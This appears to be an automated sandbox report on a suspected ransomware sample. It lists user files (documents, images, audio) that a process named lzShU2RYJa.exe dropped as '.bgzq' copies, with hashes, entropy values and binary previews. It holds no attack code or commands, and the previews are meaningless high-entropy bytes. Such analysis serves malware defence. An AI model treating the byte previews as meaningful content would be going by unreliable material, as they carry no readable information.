Preview:	KATAX...R1T..;d).9/..F.`..!.t2...j..T.a.B..mk...M-.&j...u._i>..i.* ..u.:..Td.KS............K..]^ ..X;...?.:.~.}p.Q.OXz..o}..Px..{..d...#.=.:g..n..@d5\|...{{.J..F..h...~.R..{D..HFx.8.[Qcueg....>...?..,. ..z.+NG.:y...J&......Ux.......>..~.]F9.Z)...].;..\.@......;.FV.m&.X.....B.......z^.$...1.p.i.5s.kG../.:..!...%......!.Z^0.....p.8..&.M.Q7It..&x.~..`[lM.`Y.{.W.\|...F6...[..\|.aAc..&....dp.>.....XB.....Y.jm...0..M....DI.._.SA..xO..c...Au....5e(....c...g...QLs.(..,.v\...!q.P .D.G..3+>.'Cm.I.U....S4e;...cb}F...\{oe.d...rt.......6.k....r9S...i..]e..t<6.M1.....$.9.._.F....H........l.-...(...H..w.3..r.N.........y3.e..L..@..z.5Q.. .... .%.M......1.!.t...8j.5$.6..<.[.K...tz..h>..!(.puT.=#....N.,e.(e.J.E\.=.]..%.a.Y....[.g..>.CK#...g.N....~n[..?;fr..Q...$..!.o.}......4Z._........m+9....k-..'..s.-....\.....v....ri.4l]r....E._.~.......p.....S..y..h.~2.o.].L....mA`Q.A}R....V..>1....W./.g....`.s..%x.......w.d.(\|S...o8.......25z.].&..?..T..xi.X.R..#f..R=....gXWx.

C:\Users\user\Documents\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844110169399502
Encrypted:	false
SSDEEP:	24:Ozt6GwwTnV36dBRN4VPFKOuAhmPHLvedJlqHMWbNuUGGxqh+NlUjmj5WVbD:OA45254V9K7xPrvYlqHMWbN1xqhkj5W9
MD5:	618A33EAE92AADCA04A5C4769F24401E
SHA1:	B3BC36077857490B5B14C24CEE6CA19125E42E76
SHA-256:	02F67075E3C0D0A1A818692CAC8C09FAE587121F84D12EC856CF752A4E962CF2
SHA-512:	39A81AC9698BE2D1A8EDC1341F07826FF3483F85C24935D817BC65821CFCC41B158D24BFFAD06F3835952F68934673850AE72D3C375CC4B5BB45E48EBA70E0D3
Malicious:	false
Preview:	LTKMY.o.\.'.9.$}...0V..;l+..'.5.....P%..n...-.6.(.6.Q.X{...Q.$[.!...m.....?H..U^.....c>.z...S...3qI..0.7d...M.N.C..<..t.RN..jW...IB....H.o....:.)a....lM......g.p..bRu(Y;..,.w.&..>^x..B.%...ffx;T...`<.M.5.w.......p"..(6r.....M.ze(.x.+.GC.]..N..Q..Q...!....+zv.+.s.........AS~...[/.\|c..T+4...m..6.....u.O.r..5O...H7w...........CN.2..g.=N.E?.R.9........v...$.l...K.)l"...#....+..]..!.....u.p../`}L.Z.......bet.V..vp..\....W..CV.C..ej5.1. ....C..\|$.~b..o...-.>.y..-..J....L......{J....v(...}(....<.9B.g.....mw.?..Py...p}.QD.U.........5..'..pf....x.}u..;..Z....~...i,.7......R...I..O........D..Q...y."b..'..#..'I\|.Q.J5h.E...`=6.Kc+..`z.=......m..;T(..........` ..Z6...9.tDE....5).y..'2..lD5....z..n.t#.%CO...9.H..;.....y.[a......!..3I..B[/..-...qg.!.%.x....f4...K.K<^.:.u.......}....C\|.........`.4..o.D...v...)PB.[..K6...T.q...G...D.....#.`.W..."c...$.......>.Mui*VghBrn7O......np ..~...Z.Q.d.c...O.....W. .`W.B~`uB....k.E...0..-...U.f.G.......

C:\Users\user\Documents\LTKMYBSEYZ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844110169399502
Encrypted:	false
SSDEEP:	24:Ozt6GwwTnV36dBRN4VPFKOuAhmPHLvedJlqHMWbNuUGGxqh+NlUjmj5WVbD:OA45254V9K7xPrvYlqHMWbN1xqhkj5W9
MD5:	618A33EAE92AADCA04A5C4769F24401E
SHA1:	B3BC36077857490B5B14C24CEE6CA19125E42E76
SHA-256:	02F67075E3C0D0A1A818692CAC8C09FAE587121F84D12EC856CF752A4E962CF2
SHA-512:	39A81AC9698BE2D1A8EDC1341F07826FF3483F85C24935D817BC65821CFCC41B158D24BFFAD06F3835952F68934673850AE72D3C375CC4B5BB45E48EBA70E0D3
Malicious:	false
Preview:	LTKMY.o.\.'.9.$}...0V..;l+..'.5.....P%..n...-.6.(.6.Q.X{...Q.$[.!...m.....?H..U^.....c>.z...S...3qI..0.7d...M.N.C..<..t.RN..jW...IB....H.o....:.)a....lM......g.p..bRu(Y;..,.w.&..>^x..B.%...ffx;T...`<.M.5.w.......p"..(6r.....M.ze(.x.+.GC.]..N..Q..Q...!....+zv.+.s.........AS~...[/.\|c..T+4...m..6.....u.O.r..5O...H7w...........CN.2..g.=N.E?.R.9........v...$.l...K.)l"...#....+..]..!.....u.p../`}L.Z.......bet.V..vp..\....W..CV.C..ej5.1. ....C..\|$.~b..o...-.>.y..-..J....L......{J....v(...}(....<.9B.g.....mw.?..Py...p}.QD.U.........5..'..pf....x.}u..;..Z....~...i,.7......R...I..O........D..Q...y."b..'..#..'I\|.Q.J5h.E...`=6.Kc+..`z.=......m..;T(..........` ..Z6...9.tDE....5).y..'2..lD5....z..n.t#.%CO...9.H..;.....y.[a......!..3I..B[/..-...qg.!.%.x....f4...K.K<^.:.u.......}....C\|.........`.4..o.D...v...)PB.[..K6...T.q...G...D.....#.`.W..."c...$.......>.Mui*VghBrn7O......np ..~...Z.Q.d.c...O.....W. .`W.B~`uB....k.E...0..-...U.f.G.......

C:\Users\user\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838201517026809
Encrypted:	false
SSDEEP:	24:Pwj/o6aO0HPDN7yCc9AxNDLmjBXQoHWgORttIEhcaSksbPt+jg0kVbD:EctFc9uJLmj5x4VIcekcl+jGFD
MD5:	2B7D62A959D79A5D9115B1296A3D2EF4
SHA1:	008FBF502EE493860C7F98FB86DBE5CD6278ABA6
SHA-256:	0DA9390D04BE3885977716EB69B9C5CE6A500E953A741251B9B00419348245E9
SHA-512:	98DB241A3F6DA41EB86BB285E4EE5A220194C431D4DCE5644D2451CC9F25A720BABF7EAE9E04FE02937BCC0382477FCAC86E81CDFB418A39AFC1E9D9CC5923C2
Malicious:	false
Preview:	ONBQC...s4.a.d.a..T.....-[P..1v[..w.9..KV..S{mhd...O.&i.t;.W.8.0=..Y....{7..>.....S.h..0..V...P....%..K..{..qL.%..bgD(.xV..M..+.....l......c..l.0.B...F=r..-.K....../.R\|N.A....M....XM..E]..L...V......%..jjM_Vk...YR...uE/L.g.KF!F.y7.7....IB?~.O.bQ...N..wkSK..#.3t.,.&.l$. 54<..#t.85%."m.......F.u.....<...>GB.}V.L....._.7.!......y..>H. ..U.Q2.&&l..h.c.\|<!.[.!.+F.W.#o.I......a7#..{.]...n....Lt.... ...:'........+.%..[~...=..OV.W...<....V....qbQ..........J.[.><...^.&P.7..]...U....J.x...V.N5......x..C.;...t.>\Y^?....4..?rm..@.0]..^..@(..m.1....kN....?...H6...a.....j%.H.(.6..5n%.t.^...).KB...}..k.....pF1.._.S2A..h...k......X.c......XY.Q....}\|.b..H..X...n..e...@........<L..DI.....,V...l.;..~nk.J9!.t.Wl.,.8.o.(........>]xn.U....7}....(.!.J1..;.I.<...K.7v. .../...}..1=.....9.P.9._..!..'[...).....X...C..Pi..M....O\n.>a...(4.Z......c.......P....,..-.QT.`....S...V...(. B.o..G.x_.).n.;$...P...S..#....u....A..$9t....Q...\:......j.a.......i"...

C:\Users\user\Documents\ONBQCLYSPU.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838201517026809
Encrypted:	false
SSDEEP:	24:Pwj/o6aO0HPDN7yCc9AxNDLmjBXQoHWgORttIEhcaSksbPt+jg0kVbD:EctFc9uJLmj5x4VIcekcl+jGFD
MD5:	2B7D62A959D79A5D9115B1296A3D2EF4
SHA1:	008FBF502EE493860C7F98FB86DBE5CD6278ABA6
SHA-256:	0DA9390D04BE3885977716EB69B9C5CE6A500E953A741251B9B00419348245E9
SHA-512:	98DB241A3F6DA41EB86BB285E4EE5A220194C431D4DCE5644D2451CC9F25A720BABF7EAE9E04FE02937BCC0382477FCAC86E81CDFB418A39AFC1E9D9CC5923C2
Malicious:	false
Preview:	ONBQC...s4.a.d.a..T.....-[P..1v[..w.9..KV..S{mhd...O.&i.t;.W.8.0=..Y....{7..>.....S.h..0..V...P....%..K..{..qL.%..bgD(.xV..M..+.....l......c..l.0.B...F=r..-.K....../.R\|N.A....M....XM..E]..L...V......%..jjM_Vk...YR...uE/L.g.KF!F.y7.7....IB?~.O.bQ...N..wkSK..#.3t.,.&.l$. 54<..#t.85%."m.......F.u.....<...>GB.}V.L....._.7.!......y..>H. ..U.Q2.&&l..h.c.\|<!.[.!.+F.W.#o.I......a7#..{.]...n....Lt.... ...:'........+.%..[~...=..OV.W...<....V....qbQ..........J.[.><...^.&P.7..]...U....J.x...V.N5......x..C.;...t.>\Y^?....4..?rm..@.0]..^..@(..m.1....kN....?...H6...a.....j%.H.(.6..5n%.t.^...).KB...}..k.....pF1.._.S2A..h...k......X.c......XY.Q....}\|.b..H..X...n..e...@........<L..DI.....,V...l.;..~nk.J9!.t.Wl.,.8.o.(........>]xn.U....7}....(.!.J1..;.I.<...K.7v. .../...}..1=.....9.P.9._..!..'[...).....X...C..Pi..M....O\n.>a...(4.Z......c.......P....,..-.QT.`....S...V...(. B.o..G.x_.).n.;$...P...S..#....u....A..$9t....Q...\:......j.a.......i"...

C:\Users\user\Documents\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843906466618265
Encrypted:	false
SSDEEP:	24:AUVspzn9Nntw8q4ErgFX5wIXntoBGNSBG80uoYBfkjUk7OhIKOCSzVbD:AUVY9Ntwh4h5zXOBo8xfB8L7nCYFD
MD5:	BFE21D0AC3C7ED1604F14A0C1F635340
SHA1:	5CB63E3581825B8D0E994A0DA077FE1488F42A8D
SHA-256:	E6B0182E7C5FA9FC9F6A6E91CC9506450F8334A87674D6AF93D9247AD746CC5E
SHA-512:	BD63069FCAE41571790776ACEAA7C21A41BB07416568784CFA69154FCC166E1457E8E4A98ADE64FB9A07E8CB8E8BE1D48D6C38A5225217F25ACAEA80AD5387D4
Malicious:	false
Preview:	ZBEDCY.P......2.d[.x.C..yF'.u..F.8..B0.9pX.?..b.s..>..$..2}}s............=..;..)n}. ./{...#......W!i[t...B...3.y.{.L.j.3.hP..$+............sl\.9.\J.=..1^.X.6..`.....B1.!.3...../....y/e.\|2...;l....P....C=+t.(....v....{.i.NY..=J.9.c......:.:\|.<.o.....Q..i.E....F5.D....l\|0..Fd..@N.}W..rD........U..m...3\",y...K5... .g.....t.+.` ...[.........SA.$....Np...XM%...]..".h.l....FO..:...........bTr..j..zH.\,.....~....6....0.....W....Z.r..,.."Q....x._.&..?..h...Q...C!.v@.6.h..-.O.4....t/..yT<u.Z.l??........mG6.PD{,....V.......;.........q.k..(.)!.....a....C........)..R=...\5....J&I....,..........`.p..........rx..E....8..;.`.B#..WaP..W.B..PK..M/lM.{.8._..."+6kN3...P..C...Q..x/1..)._.9^...P.....0.;1....L..eY!..R........J.dH.a.=.V.K..Mp..OFA..........{wJ....*.5Qk.3...Z.^.... ...5...c.V...!6E.....>.V..$<...J..C.....@)....&..q.q`..... ..u..=1..Jm.%.^.f.!N5....L^.Z.....!............._z.OV...B....=PA...D1z.H....jy`.A..+.t....8t.Z...YV~.8.P../..l

C:\Users\user\Documents\ONBQCLYSPU\ZBEDCJPBEY.png.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843906466618265
Encrypted:	false
SSDEEP:	24:AUVspzn9Nntw8q4ErgFX5wIXntoBGNSBG80uoYBfkjUk7OhIKOCSzVbD:AUVY9Ntwh4h5zXOBo8xfB8L7nCYFD
MD5:	BFE21D0AC3C7ED1604F14A0C1F635340
SHA1:	5CB63E3581825B8D0E994A0DA077FE1488F42A8D
SHA-256:	E6B0182E7C5FA9FC9F6A6E91CC9506450F8334A87674D6AF93D9247AD746CC5E
SHA-512:	BD63069FCAE41571790776ACEAA7C21A41BB07416568784CFA69154FCC166E1457E8E4A98ADE64FB9A07E8CB8E8BE1D48D6C38A5225217F25ACAEA80AD5387D4
Malicious:	false
Preview:	ZBEDCY.P......2.d[.x.C..yF'.u..F.8..B0.9pX.?..b.s..>..$..2}}s............=..;..)n}. ./{...#......W!i[t...B...3.y.{.L.j.3.hP..$+............sl\.9.\J.=..1^.X.6..`.....B1.!.3...../....y/e.\|2...;l....P....C=+t.(....v....{.i.NY..=J.9.c......:.:\|.<.o.....Q..i.E....F5.D....l\|0..Fd..@N.}W..rD........U..m...3\",y...K5... .g.....t.+.` ...[.........SA.$....Np...XM%...]..".h.l....FO..:...........bTr..j..zH.\,.....~....6....0.....W....Z.r..,.."Q....x._.&..?..h...Q...C!.v@.6.h..-.O.4....t/..yT<u.Z.l??........mG6.PD{,....V.......;.........q.k..(.)!.....a....C........)..R=...\5....J&I....,..........`.p..........rx..E....8..;.`.B#..WaP..W.B..PK..M/lM.{.8._..."+6kN3...P..C...Q..x/1..)._.9^...P.....0.;1....L..eY!..R........J.dH.a.=.V.K..Mp..OFA..........{wJ....*.5Qk.3...Z.^.... ...5...c.V...!6E.....>.V..$<...J..C.....@)....&..q.q`..... ..u..=1..Jm.%.^.f.!N5....L^.Z.....!............._z.OV...B....=PA...D1z.H....jy`.A..+.t....8t.Z...YV~.8.P../..l

C:\Users\user\Documents\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822254085875321
Encrypted:	false
SSDEEP:	24:taVu6n/HFiwkt+eE84DuKALcVASVUi5TOSLz7eYB/Tkp9T/danzdRva4BVbD:taVuSIw8XFw+gVAKUiw2zhTC/cny4BFD
MD5:	3F2904BC5B66997435E47B8813BA42B9
SHA1:	0C5DC7DB0E110B225C58E15B9CCD08A4B48398CC
SHA-256:	51061639DCC3EBD2137457C540364A9AF372C99183750EE8B3404047A37EC64D
SHA-512:	C21FFAF2A6C92CA925907D46235A5DFD6B51962DA5D5B4D2F74E25F7C38621BC8F5CCE7746C68AEC4CD93E29270FE9E0B70E8E7C03E1F7DA8DE2953E8CDB377E
Malicious:	false
Preview:	VLZDG.l...tZ.TIH.Q.g....,...'.q.\........!...Z....Em<Q.d..7.U.$.eY....P.0..K.......g.W......zMEFu.Z/dh'.....OK..xl.l....r6nt.j.j\m...[....\|.V... .Xd..m...j.....K.a...OYe1....(\|.:.4iUy.....f....&\|hY.L.i...y...W.7..J..A...8.F>..w{hC..7.N['.8.4..R....v..`.V.....Lj..BiH....F..x4v$..I%Q...........".\|......de.....4...m.O<M..g.Q.:..wX..V..z5.{,.e%...>q.s.k..)..A..?.-.V>.6........5.s..MXtG.T.L .!N..a.ZA..83/...a.Gg.....4}uq.a..j..u(p...y..N.G.P.--Dk.`..",..J.04.z...\|@NG..'Gaeg.....x..Y...a9.t..........hK.^......Q.?.37.8..X;.........F...5...^{.+...^...}....A....C.X.P.q..l.)..b[....}..G....$.. ..03...&...... .F....kcD......[3...m...CT'....f...7.B.i.$.I......x....z.ae6.v4..g\|.b:.. ...fe)V....o..j...n.b..C&No...Ued....~.3@.w.<...b. .........u.;%..Ey.{.....f..mb..]..M.R.....&.^..B.eaKa.\|y].#.....~.h..a..`-..E.%.H...da..4.....iP....n.7.@.+.j....,......!.......U.b....SQ-..5..3._b=...-..j4..H8.y.......,R.g."[...I5L.ey..V.}.cr$.a..N...1yV./.D.0....V..s8

C:\Users\user\Documents\VLZDGUKUTZ.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822254085875321
Encrypted:	false
SSDEEP:	24:taVu6n/HFiwkt+eE84DuKALcVASVUi5TOSLz7eYB/Tkp9T/danzdRva4BVbD:taVuSIw8XFw+gVAKUiw2zhTC/cny4BFD
MD5:	3F2904BC5B66997435E47B8813BA42B9
SHA1:	0C5DC7DB0E110B225C58E15B9CCD08A4B48398CC
SHA-256:	51061639DCC3EBD2137457C540364A9AF372C99183750EE8B3404047A37EC64D
SHA-512:	C21FFAF2A6C92CA925907D46235A5DFD6B51962DA5D5B4D2F74E25F7C38621BC8F5CCE7746C68AEC4CD93E29270FE9E0B70E8E7C03E1F7DA8DE2953E8CDB377E
Malicious:	false
Preview:	VLZDG.l...tZ.TIH.Q.g....,...'.q.\........!...Z....Em<Q.d..7.U.$.eY....P.0..K.......g.W......zMEFu.Z/dh'.....OK..xl.l....r6nt.j.j\m...[....\|.V... .Xd..m...j.....K.a...OYe1....(\|.:.4iUy.....f....&\|hY.L.i...y...W.7..J..A...8.F>..w{hC..7.N['.8.4..R....v..`.V.....Lj..BiH....F..x4v$..I%Q...........".\|......de.....4...m.O<M..g.Q.:..wX..V..z5.{,.e%...>q.s.k..)..A..?.-.V>.6........5.s..MXtG.T.L .!N..a.ZA..83/...a.Gg.....4}uq.a..j..u(p...y..N.G.P.--Dk.`..",..J.04.z...\|@NG..'Gaeg.....x..Y...a9.t..........hK.^......Q.?.37.8..X;.........F...5...^{.+...^...}....A....C.X.P.q..l.)..b[....}..G....$.. ..03...&...... .F....kcD......[3...m...CT'....f...7.B.i.$.I......x....z.ae6.v4..g\|.b:.. ...fe)V....o..j...n.b..C&No...Ued....~.3@.w.<...b. .........u.;%..Ey.{.....f..mb..]..M.R.....&.^..B.eaKa.\|y].#.....~.h..a..`-..E.%.H...da..4.....iP....n.7.@.+.j....,......!.......U.b....SQ-..5..3._b=...-..j4..H8.y.......,R.g."[...I5L.ey..V.}.cr$.a..N...1yV./.D.0....V..s8

C:\Users\user\Documents\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840235337357629
Encrypted:	false
SSDEEP:	24:tDLSn6/92Yc4FqcPzfqhIyA0xESEk9HaEMzWck8SUNoR+CET0nUcVbD:tDLS6/Jc4Fpjqy10xEH9zWiBNokCNUc9
MD5:	6B00DDA4EDFC32A6F5D1ACFFDD5F4E3F
SHA1:	AAA69D65FEC8D026BAC118D0B37537B70F8C008C
SHA-256:	877A81ABC33A269A20A1861A07B45980C06BA88896865FA9DC2EB5FE7D04F8E8
SHA-512:	3347BAED8C880876A8922ED42E6D9A2AC682BAE05D3EC8B01E581FE6E65C3474992761201B9EA690051FE30E3AD2F97F4503202FAA6E83DD94BEF50859CBCAB7
Malicious:	false
Preview:	XZXHA.s.V.D.......5.(.d.\..Ts.."$.KaT&.. i5...)K....L......?.c....^=..;().:N:b..eM.4.....6....`..U...G.....N}.bN..Q.>7....fNh...7.\|b......{.9!..\k......4.+..'......T._-.e...@...W.D.bJ"...7.D..,.......f5.[..;.L.V._..UK./....a..:..=...7...Ia..i....r#E.._n..g..F.H...k...f....A....2Z.n...f^I...oDO...}.XV....S.M.@.......h...........G....e...D..ea.9oLxZ.F.R!+.v...y..,..n..4....R1.6.F.;..jm.....gvA.......'...>..dJ...w.c.....G.bP<.\|.50....>....,..x....k...&..g.,c......E_.0........S.6T.1.PY.i..L.lN".a.!0V.q.z9..WK5...d..B).w..(1pIk7.."..o`Kw.'fbV./.ewxv.T..Mi...:...!y_.._...K7......6.....g.>....X....`J....vk..N.g....vH.N\|:.Aw.T..e..1....t...7.?...c.D.gTH.......QW../1.m+...1..T.c..J..kE.9.Q..[....m......\|x.1,..A9..bH)......]CP~w.,`.{.s_..g........@..Y.~Q\|...i ..+.. ..M#....b[W(......2.....GE.&$z..\`....Jj...<.F.[..............a..;"+....^..C...?....#0O.).bz{E)..a..es...u..bm.\..G\utvW{.x..^\.0.IFA..6.]..'....-....h..G....=...H........

C:\Users\user\Documents\XZXHAVGRAG.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840235337357629
Encrypted:	false
SSDEEP:	24:tDLSn6/92Yc4FqcPzfqhIyA0xESEk9HaEMzWck8SUNoR+CET0nUcVbD:tDLS6/Jc4Fpjqy10xEH9zWiBNokCNUc9
MD5:	6B00DDA4EDFC32A6F5D1ACFFDD5F4E3F
SHA1:	AAA69D65FEC8D026BAC118D0B37537B70F8C008C
SHA-256:	877A81ABC33A269A20A1861A07B45980C06BA88896865FA9DC2EB5FE7D04F8E8
SHA-512:	3347BAED8C880876A8922ED42E6D9A2AC682BAE05D3EC8B01E581FE6E65C3474992761201B9EA690051FE30E3AD2F97F4503202FAA6E83DD94BEF50859CBCAB7
Malicious:	false
Preview:	XZXHA.s.V.D.......5.(.d.\..Ts.."$.KaT&.. i5...)K....L......?.c....^=..;().:N:b..eM.4.....6....`..U...G.....N}.bN..Q.>7....fNh...7.\|b......{.9!..\k......4.+..'......T._-.e...@...W.D.bJ"...7.D..,.......f5.[..;.L.V._..UK./....a..:..=...7...Ia..i....r#E.._n..g..F.H...k...f....A....2Z.n...f^I...oDO...}.XV....S.M.@.......h...........G....e...D..ea.9oLxZ.F.R!+.v...y..,..n..4....R1.6.F.;..jm.....gvA.......'...>..dJ...w.c.....G.bP<.\|.50....>....,..x....k...&..g.,c......E_.0........S.6T.1.PY.i..L.lN".a.!0V.q.z9..WK5...d..B).w..(1pIk7.."..o`Kw.'fbV./.ewxv.T..Mi...:...!y_.._...K7......6.....g.>....X....`J....vk..N.g....vH.N\|:.Aw.T..e..1....t...7.?...c.D.gTH.......QW../1.m+...1..T.c..J..kE.9.Q..[....m......\|x.1,..A9..bH)......]CP~w.,`.{.s_..g........@..Y.~Q\|...i ..+.. ..M#....b[W(......2.....GE.&$z..\`....Jj...<.F.[..............a..;"+....^..C...?....#0O.).bz{E)..a..es...u..bm.\..G\utvW{.x..^\.0.IFA..6.]..'....-....h..G....=...H........

C:\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861553731844325
Encrypted:	false
SSDEEP:	24:eZcwVG1BXWbXiicWPd1K8LB2O6nxOP6dq3cKhKIt8pPS03jXbI26ukxVbD:eZcwVG1BmbXZzKYB2O6nM6ssS/0TXsuy
MD5:	B7F8FB3A7814DAB570511BA09BCAEE57
SHA1:	EDB71EC8028D9C3802FD78E10F6B8CC2EF07DD90
SHA-256:	3CAF48CE6028F04E3CEC36EAC37471F3465D11ECB1104B53AB43FFB2658BC858
SHA-512:	72024D22A03CDF7CCDF6B9C9EBAD814655AA88C37E27CC3BFAD9D2D9768FFEE5F09EFBA7642DB891957ABDE59886F9E1463AEF553B5B18BAB2D851B5CD016D32
Malicious:	false
Preview:	VLZDG,.[...I...v...\.."... ....P/c..B.._..%wQ.8..'!...B.[..$-.T?.R......Ecg(N.... .?...u5.y.....'+..q......X..w7.........+d.i......at....vZz.........>...F>...8..)BwH...t.u...a..p.><...V..$R....K....$......86...Vf..3..h...}.L.b.............O.....?.I.1.}.)Qc....Qx.r..sV..l..\...t....I..p.k....,.....C..k.g.n4.T6..t.v}.B#..MK..\.&_I?...S.K........!...)=..1bK..t5.(.^?.&9..(.,\|.(-)=.........O..0>....E...:..f.......<E.wp.....z...]/_..&eB.)\i..d.e].Kj!\|..P.....5.\|T.b#..\..'...F#...}.G.o.(.....(.4(.Os3.l.d.7].r.$.z..xEN.....>..._@............a...f$..1......Ct.R..g.).C.&Z)(.M.5w...C7......f.K.......8l..i{%`/j.....0....^jM..oy...[...FX%?.$....}...Z;G...6...!....%+..c..H..s......k.-..9.;.Rt...[H..:.{i...$.dn..2S..C.{.iW..F.F..+...M.f.......K...l...3$.SE.)..%.iU.L...%yYr.6p........R..EKd...w.....B.0m..z...z.......T..4..[oH.a...Y....VbRX ..P.Y1.m...R,bf...%u..b.y\|<k. ...qy[.}.1...g..sN".$..v.Z......WG+p.ry.B...4...!.L..^.g.05.Z......N...5..[....

C:\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861553731844325
Encrypted:	false
SSDEEP:	24:eZcwVG1BXWbXiicWPd1K8LB2O6nxOP6dq3cKhKIt8pPS03jXbI26ukxVbD:eZcwVG1BmbXZzKYB2O6nM6ssS/0TXsuy
MD5:	B7F8FB3A7814DAB570511BA09BCAEE57
SHA1:	EDB71EC8028D9C3802FD78E10F6B8CC2EF07DD90
SHA-256:	3CAF48CE6028F04E3CEC36EAC37471F3465D11ECB1104B53AB43FFB2658BC858
SHA-512:	72024D22A03CDF7CCDF6B9C9EBAD814655AA88C37E27CC3BFAD9D2D9768FFEE5F09EFBA7642DB891957ABDE59886F9E1463AEF553B5B18BAB2D851B5CD016D32
Malicious:	false
Preview:	VLZDG,.[...I...v...\.."... ....P/c..B.._..%wQ.8..'!...B.[..$-.T?.R......Ecg(N.... .?...u5.y.....'+..q......X..w7.........+d.i......at....vZz.........>...F>...8..)BwH...t.u...a..p.><...V..$R....K....$......86...Vf..3..h...}.L.b.............O.....?.I.1.}.)Qc....Qx.r..sV..l..\...t....I..p.k....,.....C..k.g.n4.T6..t.v}.B#..MK..\.&_I?...S.K........!...)=..1bK..t5.(.^?.&9..(.,\|.(-)=.........O..0>....E...:..f.......<E.wp.....z...]/_..&eB.)\i..d.e].Kj!\|..P.....5.\|T.b#..\..'...F#...}.G.o.(.....(.4(.Os3.l.d.7].r.$.z..xEN.....>..._@............a...f$..1......Ct.R..g.).C.&Z)(.M.5w...C7......f.K.......8l..i{%`/j.....0....^jM..oy...[...FX%?.$....}...Z;G...6...!....%+..c..H..s......k.-..9.;.Rt...[H..:.{i...$.dn..2S..C.{.iW..F.F..+...M.f.......K...l...3$.SE.)..%.iU.L...%yYr.6p........R..EKd...w.....B.0m..z...z.......T..4..[oH.a...Y....VbRX ..P.Y1.m...R,bf...%u..b.y\|<k. ...qy[.}.1...g..sN".$..v.Z......WG+p.ry.B...4...!.L..^.g.05.Z......N...5..[....

C:\Users\user\Downloads\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85098824517073
Encrypted:	false
SSDEEP:	24:PTGrBU7It+euRnSlNo5QLiDXmjiAV8hjzFBBSRQXa5y/+tb9MyVbD:Stq/2eqIBBfXa5yYCyFD
MD5:	5280F5C1EFACB4F2974E5946D5CF8908
SHA1:	56F0B82B15535896A1496A62F887F48197E2F511
SHA-256:	6B0CB67875B7FAC48CA472D6FECE6A02DCAE1097C6F6F67D7648ADEC3C8C341E
SHA-512:	30D9F08433248AB846CDFB11AC85EB2FFADD04BA94BBB7BFBD405FD53BE154D13E97BD259143598123F9EABF756CD76C2DC4A8430C468FD723AF6B1DFAE2AB75
Malicious:	false
Preview:	KATAXP.o..^.{.w..G.+.G1O#...<0.B.4f..7...?.A&.R.l^e.yz..Ev..\|w [...;.x.......~......?.]Xh..Ke.y.#..vd.$..X..u....bL~N...f..l..3.....8.P.!4`p"U.......[.l7s.b........l)V....F.k.1..()Z.n.9..+kY....kF3KR.#C..\!.o.s.....&.&q.c.vl1.k...,$.........x.\`..3...{.}.{.Q.]gM.#.lc...J(..D....jD!.qk...Z...T.0n_XU#......z(\|.X.xj...).n....P.r.F...0.Q....I.!y."X.Y.O.;A5....l..&..F.R..Z...7/..D....._T...s.3...S.7...4.)".q...k3cv...x/=....L.. .9..%..W......}S]..~....,..K.....bLk..m.l......,O/x~.0...ik.y+..LM.._..t....0ie..H..tJ.n.\...a...0Nx..#"...?.F.2...'...Lh+.#U..LQ..G.-..@S35..j.e.a......~`W'C.......8...A..2..g..!%.+..U.A...+.<......{..........F.pn(...@c0.....8...7.].CET.....5./,g`...z;.I.H...a.wv....I....?A>..n.6...m.....A.y8.......-.....\|..K....I0.13......#.s......H.Q.p@.y.#a..6......<...t...)\...b>.....-.1.e.vph.h.........\|7...Y..i...%..M.).A.$.J}.c. ..5.;....,\|c..).......74A.W..^{1Oq^...I8l.H.A.t.....q..z...T..},..UD......=..q.8..e#..............

C:\Users\user\Downloads\KATAXZVCPS.mp3.bgzq (copy)

Download File

